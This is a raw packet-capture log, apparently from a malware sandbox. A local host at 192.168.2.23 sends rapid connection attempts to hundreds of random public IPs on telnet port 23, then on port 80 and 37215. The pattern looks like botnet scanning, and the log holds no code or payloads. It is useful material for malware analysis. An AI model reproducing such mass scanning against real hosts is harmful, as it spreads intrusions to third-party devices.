Dec 3, 2024 22:11:46.952370882 CET	8163	23	192.168.2.23	86.81.72.175
Dec 3, 2024 22:11:46.952385902 CET	8163	23	192.168.2.23	23.238.145.176
Dec 3, 2024 22:11:46.952389956 CET	8163	23	192.168.2.23	143.207.31.171
Dec 3, 2024 22:11:46.952390909 CET	8163	23	192.168.2.23	221.12.122.86
Dec 3, 2024 22:11:46.952390909 CET	8163	23	192.168.2.23	162.61.135.215
Dec 3, 2024 22:11:46.952390909 CET	8163	23	192.168.2.23	62.231.74.52
Dec 3, 2024 22:11:46.952398062 CET	8163	23	192.168.2.23	46.147.206.236
Dec 3, 2024 22:11:46.952409029 CET	8163	23	192.168.2.23	196.9.44.27
Dec 3, 2024 22:11:46.952413082 CET	8163	23	192.168.2.23	36.30.72.215
Dec 3, 2024 22:11:46.952420950 CET	8163	23	192.168.2.23	103.95.225.55
Dec 3, 2024 22:11:46.952425957 CET	8163	23	192.168.2.23	189.90.245.89
Dec 3, 2024 22:11:46.952429056 CET	8163	23	192.168.2.23	142.147.78.232
Dec 3, 2024 22:11:46.952430964 CET	8163	23	192.168.2.23	196.223.117.11
Dec 3, 2024 22:11:46.952450991 CET	8163	23	192.168.2.23	61.46.189.98
Dec 3, 2024 22:11:46.952450991 CET	8163	23	192.168.2.23	44.217.105.13
Dec 3, 2024 22:11:46.952451944 CET	8163	23	192.168.2.23	212.4.4.143
Dec 3, 2024 22:11:46.952451944 CET	8163	23	192.168.2.23	130.99.154.89
Dec 3, 2024 22:11:46.952451944 CET	8163	23	192.168.2.23	69.214.34.2
Dec 3, 2024 22:11:46.952470064 CET	8163	23	192.168.2.23	218.3.83.177
Dec 3, 2024 22:11:46.952471018 CET	8163	23	192.168.2.23	116.19.246.159
Dec 3, 2024 22:11:46.952475071 CET	8163	23	192.168.2.23	78.177.131.114
Dec 3, 2024 22:11:46.952482939 CET	8163	23	192.168.2.23	173.53.86.168
Dec 3, 2024 22:11:46.952493906 CET	8163	23	192.168.2.23	107.67.121.165
Dec 3, 2024 22:11:46.952497005 CET	8163	23	192.168.2.23	145.54.197.252
Dec 3, 2024 22:11:46.952503920 CET	8163	23	192.168.2.23	98.252.254.201
Dec 3, 2024 22:11:46.952503920 CET	8163	23	192.168.2.23	141.174.150.205
Dec 3, 2024 22:11:46.952505112 CET	8163	23	192.168.2.23	31.205.194.197
Dec 3, 2024 22:11:46.952507973 CET	8163	23	192.168.2.23	103.154.164.62
Dec 3, 2024 22:11:46.952512026 CET	8163	23	192.168.2.23	87.44.37.33
Dec 3, 2024 22:11:46.952516079 CET	8163	23	192.168.2.23	180.133.171.0
Dec 3, 2024 22:11:46.952516079 CET	8163	23	192.168.2.23	39.191.227.169
Dec 3, 2024 22:11:46.952518940 CET	8163	23	192.168.2.23	138.93.78.221
Dec 3, 2024 22:11:46.952522993 CET	8163	23	192.168.2.23	94.66.72.171
Dec 3, 2024 22:11:46.952545881 CET	8163	23	192.168.2.23	14.101.36.32
Dec 3, 2024 22:11:46.952545881 CET	8163	23	192.168.2.23	142.170.134.34
Dec 3, 2024 22:11:46.952545881 CET	8163	23	192.168.2.23	32.69.168.69
Dec 3, 2024 22:11:46.952545881 CET	8163	23	192.168.2.23	14.143.125.33
Dec 3, 2024 22:11:46.952560902 CET	8163	23	192.168.2.23	175.198.171.90
Dec 3, 2024 22:11:46.952560902 CET	8163	23	192.168.2.23	149.196.91.47
Dec 3, 2024 22:11:46.952564955 CET	8163	23	192.168.2.23	138.239.238.9
Dec 3, 2024 22:11:46.952567101 CET	8163	23	192.168.2.23	137.141.26.226
Dec 3, 2024 22:11:46.952567101 CET	8163	23	192.168.2.23	175.179.173.86
Dec 3, 2024 22:11:46.952567101 CET	8163	23	192.168.2.23	86.241.102.100
Dec 3, 2024 22:11:46.952567101 CET	8163	23	192.168.2.23	217.74.34.105
Dec 3, 2024 22:11:46.952568054 CET	8163	23	192.168.2.23	179.191.69.148
Dec 3, 2024 22:11:46.952567101 CET	8163	23	192.168.2.23	69.238.75.65
Dec 3, 2024 22:11:46.952583075 CET	8163	23	192.168.2.23	182.221.92.30
Dec 3, 2024 22:11:46.952583075 CET	8163	23	192.168.2.23	75.156.30.245
Dec 3, 2024 22:11:46.952583075 CET	8163	23	192.168.2.23	92.82.26.203
Dec 3, 2024 22:11:46.952583075 CET	8163	23	192.168.2.23	221.73.104.241
Dec 3, 2024 22:11:46.952584028 CET	8163	23	192.168.2.23	176.155.161.14
Dec 3, 2024 22:11:46.952585936 CET	8163	23	192.168.2.23	32.86.238.15
Dec 3, 2024 22:11:46.952605009 CET	8163	23	192.168.2.23	46.191.69.248
Dec 3, 2024 22:11:46.952605963 CET	8163	23	192.168.2.23	118.68.162.219
Dec 3, 2024 22:11:46.952610970 CET	8163	23	192.168.2.23	146.14.197.205
Dec 3, 2024 22:11:46.952611923 CET	8163	23	192.168.2.23	110.217.159.55
Dec 3, 2024 22:11:46.952611923 CET	8163	23	192.168.2.23	192.34.148.121
Dec 3, 2024 22:11:46.952614069 CET	8163	23	192.168.2.23	18.204.69.248
Dec 3, 2024 22:11:46.952614069 CET	8163	23	192.168.2.23	13.121.69.153
Dec 3, 2024 22:11:46.952614069 CET	8163	23	192.168.2.23	35.83.151.211
Dec 3, 2024 22:11:46.952614069 CET	8163	23	192.168.2.23	206.41.48.21
Dec 3, 2024 22:11:46.952615023 CET	8163	23	192.168.2.23	99.12.194.154
Dec 3, 2024 22:11:46.952614069 CET	8163	23	192.168.2.23	209.227.31.211
Dec 3, 2024 22:11:46.952615976 CET	8163	23	192.168.2.23	117.115.55.61
Dec 3, 2024 22:11:46.952614069 CET	8163	23	192.168.2.23	87.139.28.134
Dec 3, 2024 22:11:46.952614069 CET	8163	23	192.168.2.23	147.14.84.134
Dec 3, 2024 22:11:46.952615976 CET	8163	23	192.168.2.23	210.137.185.110
Dec 3, 2024 22:11:46.952620983 CET	8163	23	192.168.2.23	216.218.27.188
Dec 3, 2024 22:11:46.952615976 CET	8163	23	192.168.2.23	44.227.81.192
Dec 3, 2024 22:11:46.952621937 CET	8163	23	192.168.2.23	140.253.71.199
Dec 3, 2024 22:11:46.952615976 CET	8163	23	192.168.2.23	19.178.40.138
Dec 3, 2024 22:11:46.952615976 CET	8163	23	192.168.2.23	43.221.76.46
Dec 3, 2024 22:11:46.952615976 CET	8163	23	192.168.2.23	89.176.205.93
Dec 3, 2024 22:11:46.952615976 CET	8163	23	192.168.2.23	36.248.135.24
Dec 3, 2024 22:11:46.952625990 CET	8163	23	192.168.2.23	20.206.134.173
Dec 3, 2024 22:11:46.952625990 CET	8163	23	192.168.2.23	156.176.124.151
Dec 3, 2024 22:11:46.952630997 CET	8163	23	192.168.2.23	75.77.82.98
Dec 3, 2024 22:11:46.952630997 CET	8163	23	192.168.2.23	175.165.249.101
Dec 3, 2024 22:11:46.952630997 CET	8163	23	192.168.2.23	27.86.19.44
Dec 3, 2024 22:11:46.952631950 CET	8163	23	192.168.2.23	151.198.135.205
Dec 3, 2024 22:11:46.952631950 CET	8163	23	192.168.2.23	182.134.244.130
Dec 3, 2024 22:11:46.952631950 CET	8163	23	192.168.2.23	162.99.250.245
Dec 3, 2024 22:11:46.952641010 CET	8163	23	192.168.2.23	58.95.7.201
Dec 3, 2024 22:11:46.952641010 CET	8163	23	192.168.2.23	197.172.85.173
Dec 3, 2024 22:11:46.952641010 CET	8163	23	192.168.2.23	206.11.162.13
Dec 3, 2024 22:11:46.952644110 CET	8163	23	192.168.2.23	158.40.19.53
Dec 3, 2024 22:11:46.952646017 CET	8163	23	192.168.2.23	128.122.137.10
Dec 3, 2024 22:11:46.952646017 CET	8163	23	192.168.2.23	134.248.206.32
Dec 3, 2024 22:11:46.952655077 CET	8163	23	192.168.2.23	202.151.70.94
Dec 3, 2024 22:11:46.952662945 CET	8163	23	192.168.2.23	220.200.43.73
Dec 3, 2024 22:11:46.952662945 CET	8163	23	192.168.2.23	80.149.113.200
Dec 3, 2024 22:11:46.952662945 CET	8163	23	192.168.2.23	130.13.55.140
Dec 3, 2024 22:11:46.952663898 CET	8163	23	192.168.2.23	48.209.64.197
Dec 3, 2024 22:11:46.952662945 CET	8163	23	192.168.2.23	174.11.220.65
Dec 3, 2024 22:11:46.952663898 CET	8163	23	192.168.2.23	168.253.210.199
Dec 3, 2024 22:11:46.952662945 CET	8163	23	192.168.2.23	217.143.95.153
Dec 3, 2024 22:11:46.952672958 CET	8163	23	192.168.2.23	163.52.25.24
Dec 3, 2024 22:11:46.952677011 CET	8163	23	192.168.2.23	77.154.171.42
Dec 3, 2024 22:11:46.952677965 CET	8163	23	192.168.2.23	103.176.134.240
Dec 3, 2024 22:11:46.952677965 CET	8163	23	192.168.2.23	37.109.44.187
Dec 3, 2024 22:11:46.952677965 CET	8163	23	192.168.2.23	135.40.32.193
Dec 3, 2024 22:11:46.952677965 CET	8163	23	192.168.2.23	198.28.15.187
Dec 3, 2024 22:11:46.952680111 CET	8163	23	192.168.2.23	148.215.232.94
Dec 3, 2024 22:11:46.952682972 CET	8163	23	192.168.2.23	178.80.47.241
Dec 3, 2024 22:11:46.952687025 CET	8163	23	192.168.2.23	105.61.6.88
Dec 3, 2024 22:11:46.952693939 CET	8163	23	192.168.2.23	116.109.69.228
Dec 3, 2024 22:11:46.952694893 CET	8163	23	192.168.2.23	41.154.224.81
Dec 3, 2024 22:11:46.952694893 CET	8163	23	192.168.2.23	36.227.226.134
Dec 3, 2024 22:11:46.952696085 CET	8163	23	192.168.2.23	36.96.46.59
Dec 3, 2024 22:11:46.952696085 CET	8163	23	192.168.2.23	82.64.224.124
Dec 3, 2024 22:11:46.952696085 CET	8163	23	192.168.2.23	4.27.27.23
Dec 3, 2024 22:11:46.952698946 CET	8163	23	192.168.2.23	112.71.136.220
Dec 3, 2024 22:11:46.952698946 CET	8163	23	192.168.2.23	154.121.101.21
Dec 3, 2024 22:11:46.952699900 CET	8163	23	192.168.2.23	167.207.80.46
Dec 3, 2024 22:11:46.952704906 CET	8163	23	192.168.2.23	85.117.202.64
Dec 3, 2024 22:11:46.952704906 CET	8163	23	192.168.2.23	175.92.76.53
Dec 3, 2024 22:11:46.952714920 CET	8163	23	192.168.2.23	104.176.85.171
Dec 3, 2024 22:11:46.952714920 CET	8163	23	192.168.2.23	188.248.100.159
Dec 3, 2024 22:11:46.952714920 CET	8163	23	192.168.2.23	204.90.209.253
Dec 3, 2024 22:11:46.952714920 CET	8163	23	192.168.2.23	148.0.149.73
Dec 3, 2024 22:11:46.952716112 CET	8163	23	192.168.2.23	102.140.187.49
Dec 3, 2024 22:11:46.952716112 CET	8163	23	192.168.2.23	208.201.177.115
Dec 3, 2024 22:11:46.952716112 CET	8163	23	192.168.2.23	177.27.100.213
Dec 3, 2024 22:11:46.952716112 CET	8163	23	192.168.2.23	191.31.96.148
Dec 3, 2024 22:11:46.952716112 CET	8163	23	192.168.2.23	123.57.66.159
Dec 3, 2024 22:11:46.952735901 CET	8163	23	192.168.2.23	71.230.165.167
Dec 3, 2024 22:11:46.952742100 CET	8163	23	192.168.2.23	117.109.219.125
Dec 3, 2024 22:11:46.952742100 CET	8163	23	192.168.2.23	80.192.229.199
Dec 3, 2024 22:11:46.952742100 CET	8163	23	192.168.2.23	183.237.109.101
Dec 3, 2024 22:11:46.952743053 CET	8163	23	192.168.2.23	18.195.168.114
Dec 3, 2024 22:11:46.952743053 CET	8163	23	192.168.2.23	150.212.52.234
Dec 3, 2024 22:11:46.952743053 CET	8163	23	192.168.2.23	114.174.21.174
Dec 3, 2024 22:11:46.952743053 CET	8163	23	192.168.2.23	209.221.196.249
Dec 3, 2024 22:11:46.952743053 CET	8163	23	192.168.2.23	102.72.157.145
Dec 3, 2024 22:11:46.952743053 CET	8163	23	192.168.2.23	89.57.236.5
Dec 3, 2024 22:11:46.952745914 CET	8163	23	192.168.2.23	108.6.184.24
Dec 3, 2024 22:11:46.952744007 CET	8163	23	192.168.2.23	211.199.194.187
Dec 3, 2024 22:11:46.952745914 CET	8163	23	192.168.2.23	204.238.112.113
Dec 3, 2024 22:11:46.952745914 CET	8163	23	192.168.2.23	74.144.224.0
Dec 3, 2024 22:11:46.952747107 CET	8163	23	192.168.2.23	82.76.130.53
Dec 3, 2024 22:11:46.952754974 CET	8163	23	192.168.2.23	175.167.175.92
Dec 3, 2024 22:11:46.952755928 CET	8163	23	192.168.2.23	159.103.62.187
Dec 3, 2024 22:11:46.952745914 CET	8163	23	192.168.2.23	223.130.183.219
Dec 3, 2024 22:11:46.952756882 CET	8163	23	192.168.2.23	65.40.42.147
Dec 3, 2024 22:11:46.952745914 CET	8163	23	192.168.2.23	90.142.91.181
Dec 3, 2024 22:11:46.952758074 CET	8163	23	192.168.2.23	191.43.242.88
Dec 3, 2024 22:11:46.952759981 CET	8163	23	192.168.2.23	199.40.142.129
Dec 3, 2024 22:11:46.952759981 CET	8163	23	192.168.2.23	177.4.217.169
Dec 3, 2024 22:11:46.952761889 CET	8163	23	192.168.2.23	139.161.131.102
Dec 3, 2024 22:11:46.952765942 CET	8163	23	192.168.2.23	84.153.73.228
Dec 3, 2024 22:11:46.952765942 CET	8163	23	192.168.2.23	115.65.163.214
Dec 3, 2024 22:11:46.952773094 CET	8163	23	192.168.2.23	50.101.4.197
Dec 3, 2024 22:11:46.952774048 CET	8163	23	192.168.2.23	117.148.47.138
Dec 3, 2024 22:11:46.952774048 CET	8163	23	192.168.2.23	1.221.73.144
Dec 3, 2024 22:11:46.952774048 CET	8163	23	192.168.2.23	147.217.186.0
Dec 3, 2024 22:11:46.952780962 CET	8163	23	192.168.2.23	147.51.16.164
Dec 3, 2024 22:11:46.952785969 CET	8163	23	192.168.2.23	2.154.156.141
Dec 3, 2024 22:11:46.952802896 CET	8163	23	192.168.2.23	195.206.139.145
Dec 3, 2024 22:11:46.952802896 CET	8163	23	192.168.2.23	14.173.22.114
Dec 3, 2024 22:11:46.952802896 CET	8163	23	192.168.2.23	24.10.166.79
Dec 3, 2024 22:11:46.952802896 CET	8163	23	192.168.2.23	109.22.139.48
Dec 3, 2024 22:11:46.952802896 CET	8163	23	192.168.2.23	63.140.26.11
Dec 3, 2024 22:11:46.952804089 CET	8163	23	192.168.2.23	34.132.104.49
Dec 3, 2024 22:11:46.952804089 CET	8163	23	192.168.2.23	184.174.6.126
Dec 3, 2024 22:11:46.952805042 CET	8163	23	192.168.2.23	73.107.123.183
Dec 3, 2024 22:11:46.952805042 CET	8163	23	192.168.2.23	170.17.75.23
Dec 3, 2024 22:11:46.952804089 CET	8163	23	192.168.2.23	153.119.81.230
Dec 3, 2024 22:11:46.952802896 CET	8163	23	192.168.2.23	126.159.229.29
Dec 3, 2024 22:11:46.952805042 CET	8163	23	192.168.2.23	133.162.46.134
Dec 3, 2024 22:11:46.952805042 CET	8163	23	192.168.2.23	92.62.13.225
Dec 3, 2024 22:11:46.952816010 CET	8163	23	192.168.2.23	69.153.108.212
Dec 3, 2024 22:11:46.952816010 CET	8163	23	192.168.2.23	153.30.80.17
Dec 3, 2024 22:11:46.952816010 CET	8163	23	192.168.2.23	100.249.219.199
Dec 3, 2024 22:11:46.952821016 CET	8163	23	192.168.2.23	171.130.35.189
Dec 3, 2024 22:11:46.952822924 CET	8163	23	192.168.2.23	163.174.184.21
Dec 3, 2024 22:11:46.952828884 CET	8163	23	192.168.2.23	2.71.146.128
Dec 3, 2024 22:11:46.952828884 CET	8163	23	192.168.2.23	103.34.165.14
Dec 3, 2024 22:11:46.952831984 CET	8163	23	192.168.2.23	200.166.89.148
Dec 3, 2024 22:11:46.952831984 CET	8163	23	192.168.2.23	87.150.27.228
Dec 3, 2024 22:11:46.952831984 CET	8163	23	192.168.2.23	157.36.77.158
Dec 3, 2024 22:11:46.952831984 CET	8163	23	192.168.2.23	79.242.65.252
Dec 3, 2024 22:11:46.952831984 CET	8163	23	192.168.2.23	36.220.52.162
Dec 3, 2024 22:11:46.952840090 CET	8163	23	192.168.2.23	173.154.66.21
Dec 3, 2024 22:11:46.952840090 CET	8163	23	192.168.2.23	95.184.158.222
Dec 3, 2024 22:11:46.952841997 CET	8163	23	192.168.2.23	13.94.231.49
Dec 3, 2024 22:11:46.952841997 CET	8163	23	192.168.2.23	175.174.191.119
Dec 3, 2024 22:11:46.952843904 CET	8163	23	192.168.2.23	48.199.157.36
Dec 3, 2024 22:11:46.952843904 CET	8163	23	192.168.2.23	138.23.60.118
Dec 3, 2024 22:11:46.966248035 CET	37215	5603	156.239.228.206	192.168.2.23
Dec 3, 2024 22:11:46.966300964 CET	5603	37215	192.168.2.23	156.239.228.206
Dec 3, 2024 22:11:46.983505011 CET	23	54792	108.81.147.236	192.168.2.23
Dec 3, 2024 22:11:46.983526945 CET	23	36216	160.228.194.139	192.168.2.23
Dec 3, 2024 22:11:46.983566999 CET	54792	23	192.168.2.23	108.81.147.236
Dec 3, 2024 22:11:46.983582020 CET	36216	23	192.168.2.23	160.228.194.139
Dec 3, 2024 22:11:47.071654081 CET	23	8163	213.133.178.206	192.168.2.23
Dec 3, 2024 22:11:47.071677923 CET	23	8163	109.238.151.71	192.168.2.23
Dec 3, 2024 22:11:47.071890116 CET	8163	23	192.168.2.23	213.133.178.206
Dec 3, 2024 22:11:47.071894884 CET	8163	23	192.168.2.23	109.238.151.71
Dec 3, 2024 22:11:47.086293936 CET	23	8163	221.35.226.214	192.168.2.23
Dec 3, 2024 22:11:47.086314917 CET	23	8163	201.76.110.58	192.168.2.23
Dec 3, 2024 22:11:47.086363077 CET	8163	23	192.168.2.23	221.35.226.214
Dec 3, 2024 22:11:47.086366892 CET	8163	23	192.168.2.23	201.76.110.58
Dec 3, 2024 22:11:47.086385012 CET	23	8163	9.111.218.146	192.168.2.23
Dec 3, 2024 22:11:47.086395025 CET	23	8163	59.214.201.185	192.168.2.23
Dec 3, 2024 22:11:47.086404085 CET	23	8163	72.47.247.162	192.168.2.23
Dec 3, 2024 22:11:47.086415052 CET	23	8163	103.130.112.64	192.168.2.23
Dec 3, 2024 22:11:47.086425066 CET	23	8163	209.31.194.229	192.168.2.23
Dec 3, 2024 22:11:47.086426973 CET	8163	23	192.168.2.23	9.111.218.146
Dec 3, 2024 22:11:47.086451054 CET	8163	23	192.168.2.23	103.130.112.64
Dec 3, 2024 22:11:47.086474895 CET	8163	23	192.168.2.23	209.31.194.229
Dec 3, 2024 22:11:47.086479902 CET	8163	23	192.168.2.23	59.214.201.185
Dec 3, 2024 22:11:47.086481094 CET	8163	23	192.168.2.23	72.47.247.162
Dec 3, 2024 22:11:47.119474888 CET	40816	23	192.168.2.23	123.80.220.86
Dec 3, 2024 22:11:47.119482040 CET	37926	23	192.168.2.23	68.59.103.216
Dec 3, 2024 22:11:47.119488001 CET	45414	23	192.168.2.23	140.133.154.153
Dec 3, 2024 22:11:47.119489908 CET	59074	23	192.168.2.23	139.114.93.212
Dec 3, 2024 22:11:47.119489908 CET	60882	23	192.168.2.23	219.143.228.72
Dec 3, 2024 22:11:47.119489908 CET	44192	23	192.168.2.23	99.19.70.31
Dec 3, 2024 22:11:47.119493961 CET	54294	23	192.168.2.23	115.193.232.204
Dec 3, 2024 22:11:47.119493961 CET	37494	23	192.168.2.23	106.148.139.24
Dec 3, 2024 22:11:47.119493961 CET	57620	23	192.168.2.23	69.22.53.126
Dec 3, 2024 22:11:47.119508028 CET	54836	23	192.168.2.23	179.60.197.18
Dec 3, 2024 22:11:47.119512081 CET	48162	23	192.168.2.23	178.180.152.122
Dec 3, 2024 22:11:47.119519949 CET	47084	23	192.168.2.23	180.171.224.171
Dec 3, 2024 22:11:47.119519949 CET	49506	23	192.168.2.23	116.50.54.135
Dec 3, 2024 22:11:47.119529009 CET	52890	23	192.168.2.23	1.188.183.116
Dec 3, 2024 22:11:47.119529963 CET	48568	23	192.168.2.23	57.50.164.13
Dec 3, 2024 22:11:47.119534969 CET	46176	23	192.168.2.23	69.146.1.48
Dec 3, 2024 22:11:47.119534969 CET	45580	23	192.168.2.23	183.187.126.59
Dec 3, 2024 22:11:47.119539022 CET	38770	23	192.168.2.23	217.113.253.22
Dec 3, 2024 22:11:47.119539976 CET	43388	23	192.168.2.23	139.236.56.183
Dec 3, 2024 22:11:47.119539022 CET	42870	23	192.168.2.23	34.170.136.168
Dec 3, 2024 22:11:47.119551897 CET	51686	23	192.168.2.23	93.90.69.215
Dec 3, 2024 22:11:47.119553089 CET	36178	23	192.168.2.23	38.55.136.156
Dec 3, 2024 22:11:47.119553089 CET	51324	23	192.168.2.23	62.12.197.216
Dec 3, 2024 22:11:47.119563103 CET	40952	23	192.168.2.23	179.236.23.166
Dec 3, 2024 22:11:47.151448011 CET	47534	23	192.168.2.23	167.35.172.124
Dec 3, 2024 22:11:47.151453018 CET	52802	23	192.168.2.23	67.152.204.236
Dec 3, 2024 22:11:47.151454926 CET	52992	23	192.168.2.23	169.26.30.181
Dec 3, 2024 22:11:47.151453972 CET	53492	23	192.168.2.23	132.234.201.98
Dec 3, 2024 22:11:47.151454926 CET	59032	23	192.168.2.23	209.253.132.106
Dec 3, 2024 22:11:47.151457071 CET	43198	23	192.168.2.23	68.89.131.21
Dec 3, 2024 22:11:47.151465893 CET	35418	23	192.168.2.23	155.147.71.110
Dec 3, 2024 22:11:47.151468992 CET	39934	23	192.168.2.23	5.22.121.219
Dec 3, 2024 22:11:47.151473045 CET	52410	23	192.168.2.23	118.103.16.15
Dec 3, 2024 22:11:47.151475906 CET	42578	23	192.168.2.23	114.124.214.130
Dec 3, 2024 22:11:47.151475906 CET	36274	23	192.168.2.23	181.62.227.85
Dec 3, 2024 22:11:47.151492119 CET	54366	23	192.168.2.23	67.146.208.28
Dec 3, 2024 22:11:47.151492119 CET	40976	23	192.168.2.23	221.108.134.90
Dec 3, 2024 22:11:47.151496887 CET	46192	23	192.168.2.23	139.218.60.54
Dec 3, 2024 22:11:47.151499033 CET	49394	23	192.168.2.23	201.13.85.137
Dec 3, 2024 22:11:47.151499987 CET	52818	23	192.168.2.23	70.200.80.236
Dec 3, 2024 22:11:47.151503086 CET	46204	23	192.168.2.23	208.61.158.80
Dec 3, 2024 22:11:47.151500940 CET	59344	23	192.168.2.23	111.166.47.153
Dec 3, 2024 22:11:47.151511908 CET	60654	23	192.168.2.23	49.192.185.157
Dec 3, 2024 22:11:47.151519060 CET	33294	23	192.168.2.23	129.160.129.125
Dec 3, 2024 22:11:47.151519060 CET	54278	23	192.168.2.23	12.9.177.38
Dec 3, 2024 22:11:47.151525021 CET	38084	23	192.168.2.23	96.193.246.13
Dec 3, 2024 22:11:47.151531935 CET	42116	23	192.168.2.23	137.195.220.87
Dec 3, 2024 22:11:47.151536942 CET	41628	23	192.168.2.23	210.34.115.148
Dec 3, 2024 22:11:47.151536942 CET	39492	23	192.168.2.23	171.38.110.172
Dec 3, 2024 22:11:47.151536942 CET	48062	23	192.168.2.23	42.178.186.204
Dec 3, 2024 22:11:47.151539087 CET	37966	23	192.168.2.23	47.41.99.50
Dec 3, 2024 22:11:47.151546955 CET	51390	23	192.168.2.23	200.237.237.183
Dec 3, 2024 22:11:47.151551008 CET	57120	23	192.168.2.23	62.69.135.50
Dec 3, 2024 22:11:47.151557922 CET	39554	23	192.168.2.23	212.131.212.111
Dec 3, 2024 22:11:47.151560068 CET	42410	23	192.168.2.23	114.178.236.229
Dec 3, 2024 22:11:47.151566982 CET	57664	23	192.168.2.23	60.248.67.83
Dec 3, 2024 22:11:47.151571989 CET	38868	23	192.168.2.23	42.108.53.185
Dec 3, 2024 22:11:47.151576996 CET	52790	23	192.168.2.23	190.169.254.53
Dec 3, 2024 22:11:47.183435917 CET	35696	23	192.168.2.23	180.152.22.247
Dec 3, 2024 22:11:47.239981890 CET	23	40816	123.80.220.86	192.168.2.23
Dec 3, 2024 22:11:47.240003109 CET	23	37926	68.59.103.216	192.168.2.23
Dec 3, 2024 22:11:47.240014076 CET	23	45414	140.133.154.153	192.168.2.23
Dec 3, 2024 22:11:47.240027905 CET	23	44192	99.19.70.31	192.168.2.23
Dec 3, 2024 22:11:47.240076065 CET	23	59074	139.114.93.212	192.168.2.23
Dec 3, 2024 22:11:47.240083933 CET	23	60882	219.143.228.72	192.168.2.23
Dec 3, 2024 22:11:47.240094900 CET	40816	23	192.168.2.23	123.80.220.86
Dec 3, 2024 22:11:47.240098953 CET	37926	23	192.168.2.23	68.59.103.216
Dec 3, 2024 22:11:47.240127087 CET	23	54836	179.60.197.18	192.168.2.23
Dec 3, 2024 22:11:47.240135908 CET	23	48162	178.180.152.122	192.168.2.23
Dec 3, 2024 22:11:47.240138054 CET	44192	23	192.168.2.23	99.19.70.31
Dec 3, 2024 22:11:47.240139008 CET	45414	23	192.168.2.23	140.133.154.153
Dec 3, 2024 22:11:47.240142107 CET	59074	23	192.168.2.23	139.114.93.212
Dec 3, 2024 22:11:47.240145922 CET	23	54294	115.193.232.204	192.168.2.23
Dec 3, 2024 22:11:47.240150928 CET	60882	23	192.168.2.23	219.143.228.72
Dec 3, 2024 22:11:47.240155935 CET	23	37494	106.148.139.24	192.168.2.23
Dec 3, 2024 22:11:47.240170002 CET	23	57620	69.22.53.126	192.168.2.23
Dec 3, 2024 22:11:47.240180016 CET	48162	23	192.168.2.23	178.180.152.122
Dec 3, 2024 22:11:47.240185022 CET	54836	23	192.168.2.23	179.60.197.18
Dec 3, 2024 22:11:47.240185976 CET	23	47084	180.171.224.171	192.168.2.23
Dec 3, 2024 22:11:47.240195036 CET	23	49506	116.50.54.135	192.168.2.23
Dec 3, 2024 22:11:47.240214109 CET	57620	23	192.168.2.23	69.22.53.126
Dec 3, 2024 22:11:47.240220070 CET	47084	23	192.168.2.23	180.171.224.171
Dec 3, 2024 22:11:47.240221977 CET	23	52890	1.188.183.116	192.168.2.23
Dec 3, 2024 22:11:47.240231991 CET	23	48568	57.50.164.13	192.168.2.23
Dec 3, 2024 22:11:47.240236044 CET	23	46176	69.146.1.48	192.168.2.23
Dec 3, 2024 22:11:47.240251064 CET	54294	23	192.168.2.23	115.193.232.204
Dec 3, 2024 22:11:47.240272045 CET	49506	23	192.168.2.23	116.50.54.135
Dec 3, 2024 22:11:47.240272045 CET	46176	23	192.168.2.23	69.146.1.48
Dec 3, 2024 22:11:47.240272999 CET	48568	23	192.168.2.23	57.50.164.13
Dec 3, 2024 22:11:47.240272999 CET	37494	23	192.168.2.23	106.148.139.24
Dec 3, 2024 22:11:47.240281105 CET	52890	23	192.168.2.23	1.188.183.116
Dec 3, 2024 22:11:47.240485907 CET	23	45580	183.187.126.59	192.168.2.23
Dec 3, 2024 22:11:47.240540981 CET	45580	23	192.168.2.23	183.187.126.59
Dec 3, 2024 22:11:47.271542072 CET	23	47534	167.35.172.124	192.168.2.23
Dec 3, 2024 22:11:47.271553993 CET	23	52992	169.26.30.181	192.168.2.23
Dec 3, 2024 22:11:47.271617889 CET	23	59032	209.253.132.106	192.168.2.23
Dec 3, 2024 22:11:47.271675110 CET	47534	23	192.168.2.23	167.35.172.124
Dec 3, 2024 22:11:47.271682024 CET	52992	23	192.168.2.23	169.26.30.181
Dec 3, 2024 22:11:47.271682024 CET	59032	23	192.168.2.23	209.253.132.106
Dec 3, 2024 22:11:47.303719044 CET	23	35696	180.152.22.247	192.168.2.23
Dec 3, 2024 22:11:47.303868055 CET	35696	23	192.168.2.23	180.152.22.247
Dec 3, 2024 22:11:47.826210976 CET	6883	80	192.168.2.23	160.247.51.9
Dec 3, 2024 22:11:47.826211929 CET	6883	80	192.168.2.23	144.30.94.29
Dec 3, 2024 22:11:47.826211929 CET	6883	80	192.168.2.23	77.9.102.153
Dec 3, 2024 22:11:47.826210976 CET	6883	80	192.168.2.23	208.25.237.68
Dec 3, 2024 22:11:47.826211929 CET	6883	80	192.168.2.23	217.229.54.255
Dec 3, 2024 22:11:47.826211929 CET	6883	80	192.168.2.23	217.26.115.252
Dec 3, 2024 22:11:47.826212883 CET	6883	80	192.168.2.23	54.224.48.72
Dec 3, 2024 22:11:47.826210976 CET	6883	80	192.168.2.23	49.173.189.48
Dec 3, 2024 22:11:47.826212883 CET	6883	80	192.168.2.23	183.87.43.199
Dec 3, 2024 22:11:47.826212883 CET	6883	80	192.168.2.23	13.240.147.70
Dec 3, 2024 22:11:47.826211929 CET	6883	80	192.168.2.23	170.111.11.90
Dec 3, 2024 22:11:47.826212883 CET	6883	80	192.168.2.23	120.140.146.49
Dec 3, 2024 22:11:47.826211929 CET	6883	80	192.168.2.23	170.246.55.23
Dec 3, 2024 22:11:47.826212883 CET	6883	80	192.168.2.23	60.40.205.215
Dec 3, 2024 22:11:47.826212883 CET	6883	80	192.168.2.23	34.251.48.225
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	72.255.255.255
Dec 3, 2024 22:11:47.826212883 CET	6883	80	192.168.2.23	143.54.16.200
Dec 3, 2024 22:11:47.826211929 CET	6883	80	192.168.2.23	85.2.63.96
Dec 3, 2024 22:11:47.826212883 CET	6883	80	192.168.2.23	188.239.8.166
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	73.20.144.23
Dec 3, 2024 22:11:47.826212883 CET	6883	80	192.168.2.23	204.38.114.132
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	129.36.36.24
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	68.125.157.216
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	158.241.3.93
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	133.80.28.127
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	152.206.88.154
Dec 3, 2024 22:11:47.826217890 CET	6883	80	192.168.2.23	131.105.138.237
